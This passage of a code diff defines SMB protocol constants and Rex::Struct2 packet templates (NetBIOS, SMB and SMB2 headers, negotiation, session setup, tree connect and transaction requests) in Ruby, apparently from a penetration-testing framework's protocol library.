TRANS2_GET_DFS_REFERRAL = 16 + TRANS2_REPORT_DFS_INCONSISTENCY = 17 + + # SMB_COM_TRANSACTION2 QUERY_FS_INFO information levels + SMB_INFO_ALLOCATION = 1 + SMB_INFO_VOLUME = 2 + SMB_QUERY_FS_VOLUME_INFO = 0x102 + SMB_QUERY_FS_SIZE_INFO = 0x103 + SMB_QUERY_FS_DEVICE_INFO = 0x104 + SMB_QUERY_FS_ATTRIBUTE_INFO = 0x105 + + # SMB_COM_TRANSACTION2 QUERY_PATH_INFO information levels + SMB_INFO_STANDARD = 1 + SMB_INFO_QUERY_EA_SIZE = 2 + SMB_INFO_QUERY_EAS_FROM_LIST = 3 + SMB_INFO_QUERY_ALL_EAS = 4 + SMB_INFO_IS_NAME_VALID = 6 + SMB_QUERY_FILE_BASIC_INFO = 0x101 + SMB_QUERY_FILE_STANDARD_INFO = 0x102 + SMB_QUERY_FILE_EA_INFO = 0x103 + SMB_QUERY_FILE_NAME_INFO = 0x104 + SMB_QUERY_FILE_ALL_INFO = 0x107 + SMB_QUERY_FILE_ALT_NAME_INFO = 0x108 + SMB_QUERY_FILE_STREAM_INFO = 0x109 + SMB_QUERY_FILE_COMPRESSION_INFO = 0x10B + SMB_QUERY_FILE_UNIX_BASIC = 0x200 + SMB_QUERY_FILE_UNIX_LINK = 0x201 + SMB_QUERY_FILE_BASIC_INFO_ALIAS = 0x3EC # alias for 0x101 + SMB_SET_FILE_BASIC_INFO_ALIAS = 0x3EC # alias for 0x101 + SMB_QUERY_FILE_STANDARD_INFO_ALIAS = 0x3ED # alias for 0x102 + SMB_QUERY_FILE_INTERNAL_INFO_ALIAS = 0x3EE # alias for 0x103 + SMB_QUERY_FILE_EA_INFO_ALIAS = 0x3EF # alias for 0x103 + SMB_QUERY_FILE_NAME_INFO_ALIAS = 0x3F1 # alias for 0x104 + SMB_QUERY_FILE_NETWORK_OPEN_INFO = 0x40A + SMB_INFO_PASSTHROUGH = 0x1000 + + # SMB_COM_TRANSACTION2 MAX DATA COUNT information levels + SMB_QUERY_BASIC_MDC = 0x0028 + SMB_QUERY_STANDARD_MDC1 = 0x0018 + SMB_QUERY_STANDARD_MDC2 = 0x0102 + SMB_QUERY_FILE_INTERNAL_INFO_MDC = 0x0008 + SMB_QUERY_FILE_NETWORK_INFO_MDC = 0x0038 + + # SMB_COM_TRANS2 FIND_FIRST information levels + SMB_FIND_FILE_DIRECTORY_INFO = 0x101 + SMB_FIND_FILE_FULL_DIRECTORY_INFO = 0x102 + SMB_FIND_FILE_NAMES_INFO = 0x103 + SMB_FIND_FILE_BOTH_DIRECTORY_INFO = 0x104 + SMB_FIND_ID_FULL_DIRECTORY_INFO = 0x105 + SMB_FIND_ID_BOTH_DIRECTORY_INFO = 0x106 + + # Device Types + FILE_DEVICE_BEEP = 0x00000001 + FILE_DEVICE_CD_ROM = 0x00000002 + FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003 + FILE_DEVICE_CONTROLLER = 0x00000004 + FILE_DEVICE_DATALINK = 0x00000005 + FILE_DEVICE_DFS = 0x00000006 + FILE_DEVICE_DISK = 0x00000007 + FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008 + FILE_DEVICE_FILE_SYSTEM = 0x00000009 + FILE_DEVICE_INPORT_PORT = 0x0000000A + FILE_DEVICE_KEYBOARD = 0x0000000B + FILE_DEVICE_MAILSLOT = 0x0000000C + FILE_DEVICE_MIDI_IN = 0x0000000D + FILE_DEVICE_MIDI_OUT = 0x0000000E + FILE_DEVICE_MOUSE = 0x0000000F + FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010 + FILE_DEVICE_NAMED_PIPE = 0x00000011 + FILE_DEVICE_NETWORK = 0x00000012 + FILE_DEVICE_NETWORK_BROWSER = 0x00000013 + FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x00000014 + FILE_DEVICE_NULL = 0x00000015 + FILE_DEVICE_PARALLEL_PORT = 0x00000016 + FILE_DEVICE_PHYSICAL_NETCARD = 0x00000017 + FILE_DEVICE_PRINTER = 0x00000018 + FILE_DEVICE_SCANNER = 0x00000019 + FILE_DEVICE_SERIAL_MOUSE_PORT = 0x0000001A + FILE_DEVICE_SERIAL_PORT = 0x0000001B + FILE_DEVICE_SCREEN = 0x0000001C + FILE_DEVICE_SOUND = 0x0000001D + FILE_DEVICE_STREAMS = 0x0000001E + FILE_DEVICE_TAPE = 0x0000001F + FILE_DEVICE_TAPE_FILE_SYSTEM = 0x00000020 + FILE_DEVICE_TRANSPORT = 0x00000021 + FILE_DEVICE_UNKNOWN = 0x00000022 + FILE_DEVICE_VIDEO = 0x00000023 + FILE_DEVICE_VIRTUAL_DISK = 0x00000024 + FILE_DEVICE_WAVE_IN = 0x00000025 + FILE_DEVICE_WAVE_OUT = 0x00000026 + FILE_DEVICE_8042_PORT = 0x00000027 + FILE_DEVICE_NETWORK_REDIRECTOR = 0x00000028 + FILE_DEVICE_BATTERY = 0x00000029 + FILE_DEVICE_BUS_EXTENDER = 0x0000002A + FILE_DEVICE_MODEM = 0x0000002B + FILE_DEVICE_VDM = 0x0000002C + + # File and Device Attributes + FILE_REMOVABLE_MEDIA = 0x00000001 + FILE_READ_ONLY_DEVICE = 0x00000002 + FILE_FLOPPY_DISKETTE = 0x00000004 + FILE_WRITE_ONE_MEDIA = 0x00000008 + FILE_REMOTE_DEVICE = 0x00000010 + FILE_DEVICE_IS_MOUNTED = 0x00000020 + FILE_VIRTUAL_VOLUME = 0x00000040 + FILE_CASE_SENSITIVE_SEARCH = 0x00000001 + FILE_CASE_PRESERVED_NAMES = 0x00000002 + FILE_PERSISTENT_ACLS = 0x00000004 + FILE_FILE_COMPRESSION = 0x00000008 + FILE_VOLUME_QUOTAS = 0x00000010 + FILE_VOLUME_IS_COMPRESSED = 0x00008000 + + # SMB_EXT_FILE_ATTR + # http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx + SMB_EXT_FILE_ATTR_READONLY = 0x00000001 + SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 + SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 + SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 + SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 + SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 + SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 + SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 + SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 + SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 + SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 + SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 + SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 + SMB_EXT_FILE_NO_BUFFERING = 0x20000000 + SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 + + # SMB Error Codes + SMB_STATUS_SUCCESS = 0x00000000 + SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 + SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 + SMB_STATUS_ACCESS_DENIED = 0xC0000022 + SMB_STATUS_LOGON_FAILURE = 0xC000006D + SMB_STATUS_NO_SUCH_FILE = 0xC000000F + SMB_STATUS_OBJECT_NAME_NOT_FOUND = 0xc0000034 + SMB_NT_STATUS_NOT_FOUND = 0xc0000225 + + # SMB Resource types + SMB_RESOURCE_FILE_TYPE_DISK = 0x0000 + SMB_RESOURCE_FILE_TYPE_BYTE_MODE_PIPE = 0x0001 + SMB_RESOURCE_FILE_TYPE_MESSAGE_MODE_PIPE = 0x0002 + SMB_RESOURCE_FILE_TYPE_PRINTER = 0x0003 + SMB_RESOURCE_FILE_TYPE_COMM_DEVICE = 0x0004 + + # Word count values + SMB_NEGOTIATE_RES_WORD_COUNT = 0x11 + SMB_CLOSE_RES_WORD_COUNT = 0x00 + SMB_NT_CREATE_ANDX_RES_WORD_COUNT = 0x22 + SMB_READ_ANDX_RES_WORD_COUNT = 0x0c + SMB_TREE_CONN_ANDX_WORD_COUNT = 0x07 + SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT = 0x03 + SMB_TRANS2_RES_WORD_COUNT = 0x0a + + # SMB Dialect Compatibility + DIALECT = {} + + DIALECT['PC NETWORK PROGRAM 1.0'] = [ + SMB_COM_CHECK_DIRECTORY, + SMB_COM_CLOSE, + SMB_COM_CLOSE_PRINT_FILE, + SMB_COM_CREATE, + SMB_COM_CREATE_DIRECTORY, + SMB_COM_CREATE_NEW, + SMB_COM_CREATE_TEMPORARY, + SMB_COM_DELETE, + SMB_COM_DELETE_DIRECTORY, + SMB_COM_FLUSH, + SMB_COM_GET_PRINT_QUEUE, + SMB_COM_LOCK_BYTE_RANGE, + SMB_COM_NEGOTIATE, + SMB_COM_OPEN, + SMB_COM_OPEN_PRINT_FILE, + SMB_COM_PROCESS_EXIT, + SMB_COM_QUERY_INFORMATION, + SMB_COM_QUERY_INFORMATION_DISK, + SMB_COM_READ, + SMB_COM_RENAME, + SMB_COM_SEARCH, + SMB_COM_SEEK, + SMB_COM_SET_INFORMATION, + SMB_COM_TREE_CONNECT, + SMB_COM_TREE_DISCONNECT, + SMB_COM_UNLOCK_BYTE_RANGE, + SMB_COM_WRITE, + SMB_COM_WRITE_PRINT_FILE + ] + + DIALECT['LANMAN 1.0'] = DIALECT['PC NETWORK PROGRAM 1.0'] + [ + SMB_COM_COPY, + SMB_COM_ECHO, + SMB_COM_FIND, + SMB_COM_FIND_CLOSE, + SMB_COM_FIND_UNIQUE, + SMB_COM_IOCTL, + SMB_COM_IOCTL_SECONDARY, + SMB_COM_LOCK_AND_READ, + SMB_COM_LOCKING_ANDX, + SMB_COM_MOVE, + SMB_COM_OPEN_ANDX, + SMB_COM_QUERY_INFORMATION2, + SMB_COM_READ_ANDX, + SMB_COM_READ_MPX, + SMB_COM_READ_RAW, + SMB_COM_SESSION_SETUP_ANDX, + SMB_COM_SET_INFORMATION2, + SMB_COM_TRANSACTION, + SMB_COM_TRANSACTION_SECONDARY, + SMB_COM_TREE_CONNECT_ANDX, + SMB_COM_WRITE_AND_CLOSE, + SMB_COM_WRITE_AND_UNLOCK, + SMB_COM_WRITE_ANDX, + SMB_COM_WRITE_COMPLETE, + SMB_COM_WRITE_MPX, + SMB_COM_WRITE_MPX_SECONDARY, + SMB_COM_WRITE_RAW + ] + + DIALECT['LM1.2X002'] = DIALECT['LANMAN 1.0'] + [ + SMB_COM_FIND_CLOSE2, + SMB_COM_LOGOFF_ANDX, + SMB_COM_TRANSACTION2, + SMB_COM_TRANSACTION2_SECONDARY + ] + + DIALECT['NTLM 0.12'] = DIALECT['LM1.2X002'] + [ + SMB_COM_NT_CANCEL, + SMB_COM_NT_CREATE_ANDX, + SMB_COM_NT_RENAME, + SMB_COM_NT_TRANSACT, + SMB_COM_NT_TRANSACT_SECONDARY + ] + + # Create a NetBIOS session packet template + def self.make_nbs (template) + Rex::Struct2::CStructTemplate.new( + [ 'uint8', 'Type', 0 ], + [ 'uint8', 'Flags', 0 ], + [ 'uint16n', 'PayloadLen', 0 ], + [ 'template', 'Payload', template ] + ).create_restraints( + [ 'Payload', 'PayloadLen', nil, true ] + ) + end + + + # A raw NetBIOS session template + NBRAW_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'string', 'Payload', nil, ''] + ) + NBRAW_PKT = self.make_nbs(NBRAW_HDR_PKT) + + + # The SMB header template + SMB_HDR = Rex::Struct2::CStructTemplate.new( + [ 'uint32n', 'Magic', 0xff534d42 ], + [ 'uint8', 'Command', 0 ], + [ 'uint32v', 'ErrorClass', 0 ], + [ 'uint8', 'Flags1', 0 ], + [ 'uint16v', 'Flags2', 0 ], + [ 'uint16v', 'ProcessIDHigh', 0 ], + [ 'uint32v', 'Signature1', 0 ], + [ 'uint32v', 'Signature2', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'TreeID', 0 ], + [ 'uint16v', 'ProcessID', 0 ], + [ 'uint16v', 'UserID', 0 ], + [ 'uint16v', 'MultiplexID', 0 ], + [ 'uint8', 'WordCount', 0 ] + ) + + SMB_HDR_LENGTH = 33 + + # The SMB2 header template + SMB2_HDR = Rex::Struct2::CStructTemplate.new( + [ 'uint32n', 'Magic', 0xfe534d42 ], + [ 'uint16v', 'HeaderLen', 64 ], + [ 'uint16v', 'Reserved0', 0 ], + [ 'uint32v', 'NTStatus', 0 ], + + [ 'uint16v', 'Opcode', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + + [ 'uint16v', 'Flags1', 0 ], + [ 'uint16v', 'Flags2', 0 ], + + [ 'uint32v', 'ChainOffset', 0 ], + + [ 'uint32v', 'SequenceHigh', 0 ], + [ 'uint32v', 'SequenceLow', 0 ], + + [ 'uint32v', 'ProcessID', 0 ], + [ 'uint32v', 'TreeID', 0 ], + [ 'uint32v', 'UserIDHigh', 0 ], + [ 'uint32v', 'UserIDLow', 0 ], + + [ 'uint32v', 'SignatureA', 0 ], + [ 'uint32v', 'SignatureB', 0 ], + [ 'uint32v', 'SignatureC', 0 ], + [ 'uint32v', 'SignatureD', 0 ], + [ 'string', 'Payload', nil, ''] + ) + + # A basic SMB template to read all responses + SMB_BASE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] ).create_restraints( - [ 'Payload', 'PayloadLen', nil, true ] + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_BASE_PKT = self.make_nbs(SMB_BASE_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation + SMB_NEG_HDR_PKT = Rex::Struct2::CStructTemplate.new( + + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NEG_PKT = self.make_nbs(SMB_NEG_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (LANMAN) + SMB_NEG_RES_LM_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint16v', 'SecurityMode', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'MaxVCS', 0 ], + [ 'uint16v', 'RawMode', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'DosTime', 0 ], + [ 'uint16v', 'DosDate', 0 ], + [ 'uint16v', 'Timezone', 0 ], + [ 'uint16v', 'KeyLength', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'EncryptionKey', nil, '' ] + ).create_restraints( + [ 'EncryptionKey', 'ByteCount', nil, true ] + ) + SMB_NEG_RES_LM_PKT = self.make_nbs(SMB_NEG_RES_LM_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (NTLM) + SMB_NEG_RES_NT_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint8', 'SecurityMode', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'MaxVCS', 0 ], + [ 'uint32v', 'MaxBuff', 0 ], + [ 'uint32v', 'MaxRaw', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint32v', 'SystemTimeLow', 0 ], + [ 'uint32v', 'SystemTimeHigh', 0 ], + [ 'uint16v', 'ServerTimeZone', 0 ], + [ 'uint8', 'KeyLength', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NEG_RES_NT_PKT = self.make_nbs(SMB_NEG_RES_NT_HDR_PKT) + + + # A SMB template for SMB Dialect negotiation responses (ERROR) + SMB_NEG_RES_ERR_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'Dialect', 0 ], + [ 'uint16v', 'ByteCount', 0 ] + ) + SMB_NEG_RES_ERR_PKT = self.make_nbs(SMB_NEG_RES_ERR_HDR_PKT) + + + # A SMB template for SMB Session Setup responses (LANMAN/NTLMV1) + SMB_SETUP_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_RES_PKT = self.make_nbs(SMB_SETUP_RES_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (LANMAN) + SMB_SETUP_LANMAN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'PasswordLen', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_LANMAN_PKT = self.make_nbs(SMB_SETUP_LANMAN_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (NTLMV1) + SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'PasswordLenLM', 0 ], + [ 'uint16v', 'PasswordLenNT', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT) + + + # A SMB template for SMB Session Setup requests (When extended security is being used) + SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'MaxBuff', 0 ], + [ 'uint16v', 'MaxMPX', 0 ], + [ 'uint16v', 'VCNum', 0 ], + [ 'uint32v', 'SessionKey', 0 ], + [ 'uint16v', 'SecurityBlobLen', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Capabilities', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT) + + + # A SMB template for SMB Session Setup responses (When extended security is being used) + SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint16v', 'SecurityBlobLen', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SETUP_NTLMV2_RES_PKT = self.make_nbs(SMB_SETUP_NTLMV2_RES_HDR_PKT) + + + # A SMB template for SMB Tree Connect requests + SMB_TREE_CONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint16v', 'PasswordLen', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_CONN_PKT = self.make_nbs(SMB_TREE_CONN_HDR_PKT) + + + # A SMB template for SMB Tree Connect requests + SMB_TREE_CONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'OptionalSupport', 0 ], + [ 'string', 'SupportWords', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_CONN_RES_PKT = self.make_nbs(SMB_TREE_CONN_RES_HDR_PKT) + + + # A SMB template for SMB Tree Disconnect requests + SMB_TREE_DISCONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_DISCONN_PKT = self.make_nbs(SMB_TREE_DISCONN_HDR_PKT) + + + # A SMB template for SMB Tree Disconnect requests + SMB_TREE_DISCONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TREE_DISCONN_RES_PKT = self.make_nbs(SMB_TREE_DISCONN_RES_HDR_PKT) + + + # A SMB template for SMB Transaction requests + SMB_TRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'ParamCountMax', 0 ], + [ 'uint16v', 'DataCountMax', 0 ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint32v', 'Timeout', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS_PKT = self.make_nbs(SMB_TRANS_HDR_PKT) + + + # A SMB template for SMB Transaction responses + SMB_TRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'ParamDisplace', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint16v', 'DataDisplace', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved2', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS_RES_PKT = self.make_nbs(SMB_TRANS_RES_HDR_PKT) + + SMB_TRANS_RES_PKT_LENGTH = SMB_HDR_LENGTH + 22 + + # A SMB template for SMB Transaction2 requests + SMB_TRANS2_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'ParamCountMax', 0 ], + [ 'uint16v', 'DataCountMax', 0 ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint32v', 'Timeout', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS2_PKT = self.make_nbs(SMB_TRANS2_HDR_PKT) + + + # A SMB template for SMB NTTransaction requests + SMB_NTTRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCountMax', 0 ], + [ 'uint32v', 'DataCountMax', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint16v', 'Subcommand', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_PKT = self.make_nbs(SMB_NTTRANS_HDR_PKT) + + + # A SMB template for SMB NTTransaction responses + SMB_NTTRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'ParamDisplace', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint32v', 'DataDisplace', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_RES_PKT = self.make_nbs(SMB_NTTRANS_RES_HDR_PKT) + + # A SMB template for SMB NTTransaction_Secondary requests + SMB_NTTRANS_SECONDARY_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'ParamDisplace', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint32v', 'DataDisplace', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_SECONDARY_PKT = self.make_nbs(SMB_NTTRANS_SECONDARY_HDR_PKT) + + # A SMB template for SMB Create requests + SMB_CREATE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'Reserved2', 0 ], + [ 'uint16v', 'FileNameLen', 0 ], + [ 'uint32v', 'CreateFlags', 0 ], + [ 'uint32v', 'RootFileID', 0 ], + [ 'uint32v', 'AccessMask', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'ShareAccess', 0 ], + [ 'uint32v', 'Disposition', 0 ], + [ 'uint32v', 'CreateOptions', 0 ], + [ 'uint32v', 'Impersonation', 0 ], + [ 'uint8', 'SecurityFlags', 0 ], + [ 'uint16v', 'ByteCount', 0 